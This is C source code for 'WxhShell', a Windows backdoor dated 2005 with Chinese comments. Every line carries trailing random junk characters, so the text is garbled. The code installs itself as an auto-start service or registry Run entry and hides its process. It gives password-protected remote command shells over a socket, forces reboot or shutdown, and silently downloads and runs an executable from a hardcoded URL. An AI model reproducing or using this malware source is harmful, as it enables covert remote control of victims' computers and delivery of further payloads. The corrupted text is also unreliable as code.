    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (<> Sz(  
    if(Boot(SHUTDOWN)) 6bRQL}[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B Z\EqB  
    else { N) V7yo?  
    closesocket(wsh); 5Re`D|8  
    ExitThread(0); Y00i{/a 8  
    } %T,\xZ  
    break; $:-= >  
    } ',J%Mv>Yf  
  // 获取shell G8 <It5CU  
  case 's': { wNf*/? N  
    CmdShell(wsh); +NzD/.gq  
    closesocket(wsh); {Gb)Et]<  
    ExitThread(0); vUIK4uR.  
    break; ?^G$;X7B  
  } ZAnO$pA  
  // 退出 E3.W#=o  
  case 'x': { (W}i287  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m|Q&Lphb8  
    CloseIt(wsh); 0|DG\&?  
    break; $CQwBsYb=  
    } QLpTz"H  
  // 离开 g6a3MJV`  
  case 'q': { L/ICFa.G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); RQK**  
    closesocket(wsh); )Ido|!]0d  
    WSACleanup(); @x-GbK?  
    exit(1); B'BbTI,  
    break; tpx3:|  
        } E*T84Jh6  
  } ]BS{,sI  
  } 2G:{FY  
6'sFmC  
  // 提示信息 $qyM X[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?BWvF]p5/  
} # V9hG9%8  
  } 3xCA\*  
M3ZJt'|  
  return; CK`3   
} :PjUl  
+KwF U  
// shell模块句柄 fdH'z:Xao  
int CmdShell(SOCKET sock) Xde=}9  
{ ;Q,).@<C  
STARTUPINFO si; VV}fW"_ND  
ZeroMemory(&si,sizeof(si)); W-ND<=:Up  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mp @(/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Xi`U`7?D(=  
PROCESS_INFORMATION ProcessInfo; Ef*.}gcU  
char cmdline[]="cmd"; @XG`D>%k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mBgx17K/-_  
  return 0; \g[f4xAV  
} AFhG{G'W  
VflPNzixb!  
// 自身启动模式 2mp>Mn~K^  
int StartFromService(void) [t=+$pf(-  
{ .N><yQ-j3'  
typedef struct ,HO/Q6;N  
{ czsoD) N  
  DWORD ExitStatus; gl\{QcI8<  
  DWORD PebBaseAddress;  !+VN   
  DWORD AffinityMask; +n~rM'^4/  
  DWORD BasePriority; >`V|`Zi ?  
  ULONG UniqueProcessId; x 3co?  
  ULONG InheritedFromUniqueProcessId; o?hw2-mH  
}   PROCESS_BASIC_INFORMATION; 1#_j6 Q2  
{kO:HhUg  
PROCNTQSIP NtQueryInformationProcess; 3)MM5 b b$  
5OqsnL_V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BL^Hj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z)y(31K<1  
 hahD.P<  
  HANDLE             hProcess; T`<k4ur  
  PROCESS_BASIC_INFORMATION pbi; ZTz(NS EK  
EBE>&{%$^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zyn =Xv@p  
  if(NULL == hInst ) return 0; QMpA~x_m  
kT=|tQ@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MZMv.OeYt,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;HwJw\fo  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _Ws k3AP  
U5%]nT"[]  
  if (!NtQueryInformationProcess) return 0; g#nsA(_L  
.{ Lm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6 FxndR;  
  if(!hProcess) return 0; x(6.W"-S  
}nERQq&A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WSccR  
U,}T ]J  
  CloseHandle(hProcess); R2f,a*>  
05zdy-Fb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z9c=e46O  
if(hProcess==NULL) return 0; J3E:r_+  
BrmFwXLP"  
HMODULE hMod; qiJ;v1  
char procName[255]; A+ *(Pds  
unsigned long cbNeeded; %cjav  
^Iq.0E9_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :iiTz$yk  
hpKc_|un  
  CloseHandle(hProcess); I9&<:`  
Lh$ac-Ct  
if(strstr(procName,"services")) return 1; // 以服务启动 +/8?+1E ^  
dL"i\5#%A  
  return 0; // 注册表启动 ,fL e%RP  
} !-Q!/?  
m5g: Q  
// 主模块 < VsZ$  
int StartWxhshell(LPSTR lpCmdLine) Li$k<AM  
{ QNBzc {XB  
  SOCKET wsl; +& Qqu`)?F  
BOOL val=TRUE; YH$`r6\S  
  int port=0; ho<#i(  
  struct sockaddr_in door; (jMp`4P  
l8li@K  
  if(wscfg.ws_autoins) Install(); $$>,2^qr&L  
hZG{"O!2 s  
port=atoi(lpCmdLine); _~<TAFBr  
7:<>#  
if(port<=0) port=wscfg.ws_port; Ps-d#~4U;  
Z)4P>{  
  WSADATA data; y5 +&P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |%9~W^b  
{$.{VE+v5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Etk<`GRfA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Xb;`WE gC  
  door.sin_family = AF_INET; --D`YmB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pc>R|~J{2  
  door.sin_port = htons(port); H[oi? {L  
\hX^Cn=6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Vt>E\{@[t  
closesocket(wsl); IRY2H#:$  
return 1; 9bvd1bKEW  
} v]sGdZ(6-  
2|EoP-K7  
  if(listen(wsl,2) == INVALID_SOCKET) { N9Vcp~;  
closesocket(wsl); i[ lH@fJm_  
return 1; BC+qeocg  
} 'ZZ/:MvQa  
  Wxhshell(wsl); ~a Rq\fx{  
  WSACleanup(); n9ih^H  
c0~'5Mlp  
return 0; mZ%\`H+  
R/7l2*  
} XO>Y*7rO  
%0'f`P6  
// 以NT服务方式启动 P*Nl3?T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v4Gkf  
{ e V#H"fM  
DWORD   status = 0; ~<3yTl>  
  DWORD   specificError = 0xfffffff; CJ>=odK[  
Urr1 K)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; XafyI*pOX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [;bLlS,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ah.Kb(d:  
  serviceStatus.dwWin32ExitCode     = 0; u-$AFSt  
  serviceStatus.dwServiceSpecificExitCode = 0; dEn hNPeRl  
  serviceStatus.dwCheckPoint       = 0; ZBWe,Xvq  
  serviceStatus.dwWaitHint       = 0; BN67o]*]<  
;DOz92X94  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 70Am]L&M  
  if (hServiceStatusHandle==0) return; uB?YJf .T@  
6>Fw,$  
status = GetLastError(); H+Wd#7l,  
  if (status!=NO_ERROR) *Bj G3Jc5  
{ -$r fu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t+VPX2  
    serviceStatus.dwCheckPoint       = 0; =G`m7!Q)  
    serviceStatus.dwWaitHint       = 0; d:aQlW;}  
    serviceStatus.dwWin32ExitCode     = status; g|oPRC$I'  
    serviceStatus.dwServiceSpecificExitCode = specificError; }% =P(%-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); okW3V}/x/z  
    return; , /pE*Yk  
  } k dqH36&<  
Jq->DzSmj/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |cacMgly  
  serviceStatus.dwCheckPoint       = 0; :zCm$@  
  serviceStatus.dwWaitHint       = 0; w;:,W@K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BdTj0{S1u  
} #'[ f^xgJ  
t t=$:}A  
// 处理NT服务事件,比如:启动、停止 J';tpr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n\ZFPXP  
{ Ce:kMkJ  
switch(fdwControl) 0-FbV,:;  
{ 1VeCAx[e  
case SERVICE_CONTROL_STOP: (8{Z@  
  serviceStatus.dwWin32ExitCode = 0; er_aol e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rtI4W  
  serviceStatus.dwCheckPoint   = 0; {>:2Ff]O:  
  serviceStatus.dwWaitHint     = 0; P_;oSN|>  
  { &sW/r::,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HZm44y$/  
  } +$9w[ARN+  
  return; 5H79) n>  
case SERVICE_CONTROL_PAUSE: *?uF&( 0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; myYe~f4=HQ  
  break; U> >J_2  
case SERVICE_CONTROL_CONTINUE: !#r]f9QP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BdceINI  
  break; :+YFO.7  
case SERVICE_CONTROL_INTERROGATE: YpWu\oP  
  break; .sLx6J%  
}; aRV<y8{9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m'S-h'a  
} hZpFI?lqc\  
Z d%*,\`S  
// 标准应用程序主函数 n4:WM+f4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5=dg4"b]  
{ L3/ua  
{\%x{  
// 获取操作系统版本 @a~K#Bvlm  
OsIsNt=GetOsVer(); 'HC4Q{b`  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  E$G8-  
kqy Y:J  
  // 从命令行安装 5%Q!R%  
  if(strpbrk(lpCmdLine,"iI")) Install(); qn<~ LxQ  
6PTD%Rf\  
  // 下载执行文件 @M(vaJB8u  
if(wscfg.ws_downexe) { JeO(sj$e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6Us#4 v,  
  WinExec(wscfg.ws_filenam,SW_HIDE); zRz3ot,|  
} #R)$nv:h?^  
;xb:{?  
if(!OsIsNt) { A5z`3T;1  
// 如果时win9x,隐藏进程并且设置为注册表启动 Uzc`,iV$  
HideProc(); ^@N@ gB  
StartWxhshell(lpCmdLine); kweypIB  
} 6VA@;g0$  
else [1s B  
  if(StartFromService()) {6n B83BB  
  // 以服务方式启动 Oh|Hy/&6W  
  StartServiceCtrlDispatcher(DispatchTable); N[AX29  
else ua2SW(C@  
  // 普通方式启动 wc ^z9y  
  StartWxhshell(lpCmdLine); <%|2yPb]  
[Y5B$7|s<  
return 0; wp} PQw:  
} W# ev  
,l~i|_  
%POoyH@D}  
rtOXK4)]I  
=========================================== B[8  
EKgTRRW  
8)T.[AP  
3]V" 9+  
CY9`ztO*  
o@"H3 gz  
" )y._]is)b  
p*vEVo  
#include <stdio.h> y_QK _R<f  
#include <string.h> ZMoN  
#include <windows.h> b1_HDC(  
#include <winsock2.h> @*!8  
#include <winsvc.h> ^hLAMaR  
#include <urlmon.h> U@DIO/C,m`  
&_G^=Nc,H  
#pragma comment (lib, "Ws2_32.lib") 85m_jmh[  
#pragma comment (lib, "urlmon.lib") LLCMp3qBz  
-FdhV%5]  
#define MAX_USER   100 // 最大客户端连接数 '9*(4/,UJJ  
#define BUF_SOCK   200 // sock buffer .t$~>e .  
#define KEY_BUFF   255 // 输入 buffer  qauk,t  
hjs[$ ,1  
#define REBOOT     0   // 重启 $fL2w^ @  
#define SHUTDOWN   1   // 关机 i#=s_v8  
m&cVda/  
#define DEF_PORT   5000 // 监听端口 LL4yafh  
}GRZCX>  
#define REG_LEN     16   // 注册表键长度 p78X,44xg  
#define SVC_LEN     80   // NT服务名长度 [ lW~v:W  
CWHTDao  
// 从dll定义API oYI7 .w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cba ~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .Xqe]cax%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AQ7w5}g+V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1#/>[B  
}\?UmuolQ  
// wxhshell配置信息 rzsAnLxo  
struct WSCFG { Q!9AxM2K  
  int ws_port;         // 监听端口 R,>LUa*u  
  char ws_passstr[REG_LEN]; // 口令 W^v3pH-y#  
  int ws_autoins;       // 安装标记, 1=yes 0=no !hdOH3h=  
  char ws_regname[REG_LEN]; // 注册表键名 f_I6g uDPz  
  char ws_svcname[REG_LEN]; // 服务名 %a$ l%8j&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _=S 4H  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]rY:C "#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @|BaZq,g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gE;r;#Jt4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }V:ZGP#!'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;n`SF~CU  
7|bzopLJk  
}; =n7QLQU  
]jQj/`v1  
// default Wxhshell configuration @A?Ss8p'  
struct WSCFG wscfg={DEF_PORT, !g=4\C`mY  
    "xuhuanlingzhe", :rR)rj'  
    1, uI lm!*0  
    "Wxhshell", a/p} ?!\  
    "Wxhshell", +J [<zxh\  
            "WxhShell Service", Pk)>@F<  
    "Wrsky Windows CmdShell Service", ))ArM-02  
    "Please Input Your Password: ", {B|)!_M#  
  1, 7\.{O$Q  
  "http://www.wrsky.com/wxhshell.exe", j AXKp b  
  "Wxhshell.exe" KUD&vqx3  
    }; pg0Sq9qCN  
Z8 eB5!$  
// 消息定义模块 .! 'SG6 q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P-]u&m/6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rHngYcjR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L/*D5k%J  
char *msg_ws_ext="\n\rExit."; eICavp  
char *msg_ws_end="\n\rQuit."; 9:9gam  
char *msg_ws_boot="\n\rReboot..."; ^?<gz!(-  
char *msg_ws_poff="\n\rShutdown..."; UmEc")3  
char *msg_ws_down="\n\rSave to "; :LrB9Cf$n  
{(#2G,  
char *msg_ws_err="\n\rErr!"; HAKB@h)  
char *msg_ws_ok="\n\rOK!"; Rq`d I~5!b  
4 x|yzUx  
char ExeFile[MAX_PATH]; fmgXh)=  
int nUser = 0; 0)Nu  
HANDLE handles[MAX_USER]; N1!O8"Q|*3  
int OsIsNt; CNMcQP  
$Sls9H+.  
SERVICE_STATUS       serviceStatus; to,\sc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ie"eqO!  
x u<oQBt  
// 函数声明 qe[P'\]L  
int Install(void); vCX 54  
int Uninstall(void); o$q})!  
int DownloadFile(char *sURL, SOCKET wsh); !FA[ ]d4  
int Boot(int flag); r}nz )=\Cj  
void HideProc(void); y?P4EVknM3  
int GetOsVer(void); 4ux^K:z  
int Wxhshell(SOCKET wsl); *G&3NSM-  
void TalkWithClient(void *cs); [6cF#_)*  
int CmdShell(SOCKET sock); /< -+*79G  
int StartFromService(void); }Gf9.ACQ  
int StartWxhshell(LPSTR lpCmdLine); A<p6]#t#X)  
&"6%D|Z0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [cso$Tv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $97EeE:{M  
e| Sw+fhy<  
// 数据结构和表定义 It#T\fU  
SERVICE_TABLE_ENTRY DispatchTable[] = nnZM{< !hF  
{ 4Ai#$SHLm  
{wscfg.ws_svcname, NTServiceMain}, eKvQS}11  
{NULL, NULL} bIy:~z5   
}; b wqd` C  
3[Z7bhpV  
// 自我安装 I?OnEw  
int Install(void) 8~|tl,  
{ K<E|29t^k  
  char svExeFile[MAX_PATH]; ]I: h4hgw  
  HKEY key; $:IEpV{  
  strcpy(svExeFile,ExeFile); Qm@v}pD  
5: vy_e&  
// 如果是win9x系统,修改注册表设为自启动 C ^ 1;r9  
if(!OsIsNt) { l<-0@(x)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >5MHn@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `nv82v  
  RegCloseKey(key); PzH#tG&.j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u.ub:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^GC 8^f  
  RegCloseKey(key); i1 ^#TC$x  
  return 0; }%Vx2Q  
    } ; %mYsQ  
  } wPQRm[O|  
} \(;X3h  
else { `KHP?lX  
7q@>d(xho  
// 如果是NT以上系统,安装为系统服务 zC|y"PTw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LWIPq"  
if (schSCManager!=0) E3d# T  
{ uoMDf{d  
  SC_HANDLE schService = CreateService $;As7MI  
  ( us>$f20T  
  schSCManager, l g43  
  wscfg.ws_svcname, n]a/nv  
  wscfg.ws_svcdisp, ]#P>wW  
  SERVICE_ALL_ACCESS, ^k}%k#)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -iySU 6  
  SERVICE_AUTO_START, M2rgB%W)m  
  SERVICE_ERROR_NORMAL,  IA{I|g<  
  svExeFile, &\ \)x.!  
  NULL, /2fQM_ ,P  
  NULL, ZE4xF8  
  NULL, 7#9yAS+x(  
  NULL, F8OE  
  NULL H-'~c \)  
  ); I1fUV72  
  if (schService!=0) FWl'='5L  
  { 'G8.)eTA'  
  CloseServiceHandle(schService); MtXTh*4  
  CloseServiceHandle(schSCManager); [O\[,E"K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xSL%1>MrN  
  strcat(svExeFile,wscfg.ws_svcname); D&nVkZP>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N3?@CM^hHw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f) @-X!  
  RegCloseKey(key); vj4n=F,Z  
  return 0; jLCZ JSK  
    } {n-6e[  
  } \iM  
  CloseServiceHandle(schSCManager); $|n#L6k  
} zqs|~W]c  
} Hribk[99  
WJF#+)P:Y  
return 1; =.yKl*WV{  
} Y/Q/4+  
2-x#|9  
// 自我卸载 Y=tx kN  
int Uninstall(void) yVl?gGgh  
{ E'wJ+X9 +  
  HKEY key; 7^*[ XH  
jw$[b=sa  
if(!OsIsNt) { -1<*mbb0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LS{t7P9K  
  RegDeleteValue(key,wscfg.ws_regname); 3lT>C'qq  
  RegCloseKey(key); 59Lmv &s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t182&gpd`  
  RegDeleteValue(key,wscfg.ws_regname); kSq1Q#Bxq  
  RegCloseKey(key); p 7eRAQ\'  
  return 0; fsH =2p  
  } y;1l].L  
} D0HLU ~o  
} ZA Xw=O5  
else { M73d^z  
}J-+^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [(PD2GO+  
if (schSCManager!=0) |)WN%#v  
{ b$k|D)_|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +=&A1{kR3  
  if (schService!=0) 5\\a49k.p  
  { .uwD;j +#  
  if(DeleteService(schService)!=0) { {B,r  
  CloseServiceHandle(schService); fBRU4q=^T  
  CloseServiceHandle(schSCManager); C=uYX"  
  return 0;  Re^~8q[  
  } #CYDh8X<i  
  CloseServiceHandle(schService); }Rx`uRx\  
  } /swNhDQ"o  
  CloseServiceHandle(schSCManager); F,'rW:{HMt  
} ** !  
} /n&Y6@W  
1w/Ur'8we  
return 1; .,$<waGD  
} i6y$P6s  
Fy8$'oc  
// 从指定url下载文件 \WN ,.  
int DownloadFile(char *sURL, SOCKET wsh) / Hg/)  
{ r#;GVJR6  
  HRESULT hr; %=GF  
char seps[]= "/"; Yl#|+xYA5[  
char *token; F:B 8J4/  
char *file; +'f+0T\)  
char myURL[MAX_PATH]; XwNJHOaF  
char myFILE[MAX_PATH]; dqu+-43I|  
DtrR< &m  
strcpy(myURL,sURL); 4>I >y@^  
  token=strtok(myURL,seps); \)' o{l&  
  while(token!=NULL) K6s%=.Zi(  
  { ~R!M.gY[rK  
    file=token; 01^+HEbm  
  token=strtok(NULL,seps); 2\/,X CQV  
  } mIy|]e`SJ  
<*'%Xgm  
GetCurrentDirectory(MAX_PATH,myFILE); HZDeQx`*s  
strcat(myFILE, "\\"); ccPTJ/%$  
strcat(myFILE, file); jqeR{yo&0b  
  send(wsh,myFILE,strlen(myFILE),0); *fj5$T-Z  
send(wsh,"...",3,0); W3.(s~ )o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &ap&dM0@%a  
  if(hr==S_OK) `{GI^kgJ9  
return 0; , A@uSfC(  
else 2b i:Q9  
return 1; yJRqX]MLA  
+ <4gJoI  
} ?Xq"Q^o4#e  
qjrl$[`X:  
// 系统电源模块 EpsjaOmAF  
int Boot(int flag) G9 g -EP\  
{ ??u*qO:p  
  HANDLE hToken; G3wkqd  
  TOKEN_PRIVILEGES tkp; "z6 xS;  
mN&B|KWU  
  if(OsIsNt) { &h<\jqN/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TEN~3 Ef#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5HqvSfq>?  
    tkp.PrivilegeCount = 1; jo}yeGbU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MX )mm^A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mQka?_if)  
if(flag==REBOOT) { k+5l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^1mnw@04  
  return 0; LyuA("xB#  
} Qt+i0xd  
else { V7}]39m(s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 49iqrP'  
  return 0; qe<xH#6  
} =v:}{~M^$  
  } F>lM[Lu#  
  else { \WPy9kRU  
if(flag==REBOOT) { ^(+@uuBx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /:.p{y  
  return 0; lK%)a +2  
} ?[!_f$50]P  
else { |QHIB?C?`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o#\c:D*k  
  return 0; ?[#4WH-G  
} eZdFfmYW^R  
} '(fzznRH  
TR&7AiqB  
return 1; &\iMIJ-  
} cES8%UC^i  
x,j%3/J^2  
// win9x进程隐藏模块 8JojKH  
void HideProc(void) S|  
{ OD6dMql  
n3_| # 1Qu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ys- w0H  
  if ( hKernel != NULL ) ufB9\yl{~  
  { Egi(z9|Pp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5h [<!f=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J 7HOSFwXn  
    FreeLibrary(hKernel); ~sVbg$]\G  
  } _T(77KLn;  
Mt*eC)~ Yx  
return; L~!Lq4]V\g  
} jP31K{G?  
MZ%S3'  
// 获取操作系统版本 S76x EL  
int GetOsVer(void) Z5`U+ (  
{ xzb{g,c   
  OSVERSIONINFO winfo; TUX:[1~Nf[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ZK`x(h{p)  
  GetVersionEx(&winfo); IXU~& 5&J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $xK(bc'{  
  return 1; |]'gd)%S\  
  else B*^8kc:)L  
  return 0; L"'L@ A|U  
} GXwQ )P5]  
3A'9=h,lVK  
// 客户端句柄模块 K_}81|=  
int Wxhshell(SOCKET wsl) vpP8'f.  
{ (Eo#oX  
  SOCKET wsh; @#::C@V]  
  struct sockaddr_in client; uWkuw5;  
  DWORD myID; vFK!LeF%  
w -5_Ru  
  while(nUser<MAX_USER) [(iJj3s!  
{ '<aFd)-  
  int nSize=sizeof(client); eo<=Q|nI&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @O| l A  
  if(wsh==INVALID_SOCKET) return 1; I{7Hz{  
G\Q0{4w8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,a\pdEPj  
if(handles[nUser]==0) 0kL tL!3  
  closesocket(wsh); @\Yu?_a  
else #4{9l SbU  
  nUser++; y2@8?  
  } ePY69!pO5e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cxxrvP-  
AUwIF/>F(]  
  return 0; KTjf2/  
} ILT.yxV  
O^4K o}  
// 关闭 socket 3ms{gZbw  
void CloseIt(SOCKET wsh) +\~Mx>Cn  
{ $qk(yzY  
closesocket(wsh); pd oCV  
nUser--; z/t+t_y  
ExitThread(0); N}7tjk   
} wIK&EGQ  
(Q6}N'T  
// 客户端请求句柄 =xPBolxm5U  
void TalkWithClient(void *cs) 'fIirGOl  
{ >@St Kj  
QVQ?a&HYS  
  SOCKET wsh=(SOCKET)cs; M UqV$#4@I  
  char pwd[SVC_LEN]; aDE)Nf}  
  char cmd[KEY_BUFF]; ]z 5gC`E0  
char chr[1]; '>"-e'1m(  
int i,j; C]DvoJmBs  
*m`KY)b=l  
  while (nUser < MAX_USER) { .RxAYf|  
^n8r mh_%  
if(wscfg.ws_passstr) { |k=L&vs  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @M]7',2"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l} UOg   
  //ZeroMemory(pwd,KEY_BUFF); Pdw[#X<[`  
      i=0; 06~HVv  
  while(i<SVC_LEN) { mqb6MnK -  
gTwxmp.,  
  // 设置超时 tO]` I-  
  fd_set FdRead; l]v>PIh~N  
  struct timeval TimeOut; d}RR!i`<N  
  FD_ZERO(&FdRead); *WpDavovyB  
  FD_SET(wsh,&FdRead); Vpsv@\@J>  
  TimeOut.tv_sec=8; B&RgUIrFoY  
  TimeOut.tv_usec=0; 2^C>orKQ0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nnPY8pdjSD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o$_,2$>mn  
ds"q1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q`7.-di  
  pwd=chr[0]; 01" b9`jU  
  if(chr[0]==0xd || chr[0]==0xa) { {expx<+4F  
  pwd=0; l gzA) (  
  break; OFe?T\dQn  
  } JM-+p  
  i++; jsOid5bs  
    } 9k[>(LC  
y,QJy=?  
  // 如果是非法用户,关闭 socket a@&P\"k  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zs~v6y@  
} ~E tW B  
H~Fb=.h]U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QBI;aG<+b>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EFNi# D8s  
 N\9 Wxz$  
while(1) { ht 1d[  
O^,%V{]6\  
  ZeroMemory(cmd,KEY_BUFF); T,D(Xh  
t/TWLhx/  
      // 自动支持客户端 telnet标准   kg^VzNX  
  j=0; 8A ;)5!  
  while(j<KEY_BUFF) { .sOEqwO}>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "bC1dl<  
  cmd[j]=chr[0]; `oq][|  
  if(chr[0]==0xa || chr[0]==0xd) { nPU=n[t8O  
  cmd[j]=0; %!X|X,b^O  
  break; 86AZ)UP2D  
  } BQ7p<{G  
  j++; M)JKe!0ad1  
    } )Z0bMO<  
:_f5(N*{5o  
  // 下载文件 dRD t.U!T  
  if(strstr(cmd,"http://")) { c?0.>^,B Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9_  
  if(DownloadFile(cmd,wsh)) (:P-ef$]C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (q]_&%yW  
  else mhDC1lXF  
